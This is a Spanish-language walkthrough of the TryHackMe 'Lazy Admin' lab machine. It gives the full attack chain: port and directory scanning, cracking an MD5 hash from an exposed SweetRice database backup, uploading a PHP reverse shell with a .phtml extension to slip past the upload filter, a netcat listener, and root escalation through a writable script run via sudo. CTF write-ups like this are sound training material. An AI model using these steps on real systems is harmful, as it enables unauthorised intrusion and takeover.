Lazy admin


December 14, 20226 minutes

Máquina fácil Linux para practicar tus habilidades.

https://tryhackme.com/room/lazyadmin

IP Atacante = 10.10.10.10

IP víctima = 10.10.192.128

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

❯ ping -c 1 10.10.192.128
PING 10.10.192.128 (10.10.192.128) 56(84) bytes of data.
64 bytes from 10.10.192.128: icmp_seq=1 ttl=63 time=66.1 ms

--- 10.10.192.128 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 66.057/66.057/66.057/0.000 ms

En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación

Escaneo de puertos (nmap)

Ahora empezamos con un escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.192.128 -oG allPorts
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
-sS –min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnSkip host discovery
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPorts

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   2[*] Extracting information...
   3   4[*] IP Address: 10.10.29.188
   5[*] Open ports: 22,80
   6   7[*] Ports copied to clipboard
   8───────┴─────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos

❯ sudo nmap -p22,80 -sC -sV 10.10.192.128 -Pn target
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 497cf741104373da2ce63s89586f8e0f0 (RSA)
|   256 2fd7c44ce81b5sa9044dfc0638c72ae55 (ECDSA)
|_  256 6184622s7c6c32917dd27459e29cb905e (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ParámetroFunción
-p22,80Especificamos los puertos abiertos que hemos encontrado con el escaneo anterior
-sCPara que realice scripts básicos de reconocimiento
-sVProporciona la versión e información de los servicios que corren por los puertos

Puerto 80

Al entrar a la web lo primero que se ve es lo siguiente

Buscando subdirectorios

Para ver si hay subdirectorios vamos a usar la herramienta wfuzz para fusear mediante un diccionario que está en /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt con el siguiente comando:

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.192.128/FUZZ
=======================================================================
ID           Response   Lines    Word       Chars       Payload                         
=======================================================================

000000075:   301        9 L      28 W       316 Ch      "content"
000095524:   403        9 L      28 W       278 Ch      "server-status"
ParámetroFunción
-cPara que lo reporte todo con colores
-tPara configurar el tiempo
–hc=404Para que no nos reporte los subdirectorios que no existan
-wEs donde se indica el diccionario
FUZZSe escribe donde quieres aplicar el diccionario

Dentro de /content solo hay un texto

Traducción: Bienvenido a SweetRice - Gracias por instalar SweetRice como su sistema de administración de sitios web. Este sitio se está construyendo ahora, por favor llegue tarde. Si usted es el webmaster, vaya a Dashboard -> General -> Configuración del sitio web y desmarque la casilla de verificación “Cerrar sitio” para abrir su sitio web. Más ayuda en Consejo para Basic CMS SweetRice instalado

Buscando subdirectorios en /content/

❯ wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  http://10.10.192.128/content/FUZZ
=====================================================================
ID           Response   Lines    Word       Chars       Payload                         
=====================================================================

000000016:   301        9 L      28 W       323 Ch      "images"
000000953:   301        9 L      28 W       319 Ch      "js"
000002190:   301        9 L      28 W       320 Ch      "inc"                           
000003320:   301        9 L      28 W       319 Ch      "as"                            
000003601:   301        9 L      28 W       324 Ch      "_themes"                       
000003808:   301        9 L      28 W       327 Ch      "attachment"

Credenciales Inicio Session

Dentro del /inc hay una carpeta llamada mysql_backup/ dentro hay un archivo llamado mysql_bakup_20191129023059-1.5.1.sql nos lo descargamos, dentro se puede ver un usuario llamado manager con un hash --------------

❯ hash-identifier --------------
Possible Hashs:
[+] MD5

Para ver el contenido vamos a usar John the Ripper

John The Ripper es una herramienta de código abierto para la recuperación y auditoría de seguridad en contraseñas, además de ser multiplataforma, es el más utilizado y versátil, ya que combina una velocidad de “craqueo” rápida, con una extraordinaria gama de tipos de hash compatibles.

❯ sudo john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 512/512 AVX512BW 16x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status

Password Censurada      (?)     

1g 0:00:00:00 DONE (2022-12-14 21:28) 100.0g/s 3379Kp/s 3379Kc/s 3379KC/s 062089..redlips
Session completed.

Ahora ya podemos iniciar sessión en el panel de login que está en /content/as

Con esto entramos a un directorio que parece ser el panel de control del administrador, hay muchos apartados, pero hay uno (media center) En el cual podemos subir archivos.

Reverse shell

Vamos a intentar subir un archivo.php malicioso echo por pentestmonkey para crear una reverse shell

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

Importante cambiar esto con la ip de nuestra máquina y el puerto en el que vamos a estar en escucha

$ip = '10.10.10.10';  // CHANGE THIS
$port = 443;       // CHANGE THIS

Ahora ya lo podemos subir

No se ha subido, puede ser que al ser .php lo haya bloqueado… En estas situaciones, se puede intentar con extensiones menos típicas de php que el admin no haya bloqueado.

Ejemplos de alternativas a .php: .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

Primero vamos a probar con .phtml

¡Ahora si!

Nos ponemos en escucha por el puerto 443

nc -nlvp 443

Clicamos el archivo que hemos subido anteriormente a la web y recibimos la conexión

Tratamiento de la tty

Antes de empezar lo primero para trabajar mejor es hacer un tratamiento de la tty…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset
xterm
export SHELL=bash
export TERM=xterm

Escalada de privilegios

Con sudo -l se puede ver que podemos ejecutar /usr/bin/perl y /home/itguy/backup.pl

Si vamos al /home/itguy/, y hacemos un cat a backup.pl se ve que ejecuta un archivo que está en /etc/copy.sh

(Contenido backup.pl)

#!/usr/bin/perl

system("sh", "/etc/copy.sh");

En este archivo no tenemos permisos de escritura, pero en el copy.sh sí. Vamos a hacer una prueba para ver si lo que ponemos en copy.sh se ejecuta como root

www-data@THM-Chal:/$ echo "whoami" > /etc/copy.sh
www-data@THM-Chal:/$ sudo perl /home/itguy/backup.pl
root

Efectivamente se ejecuta como root, ahora vamos a decirle al copy.sh que spawnee una bash

www-data@THM-Chal:/$ echo "/bin/bash -i" > /etc/copy.sh
www-data@THM-Chal:/$ sudo perl /home/itguy/backup.pl
root@THM-Chal:/#

¡Ya somos root!

Con un cat /root/root.txt podemos ver la flag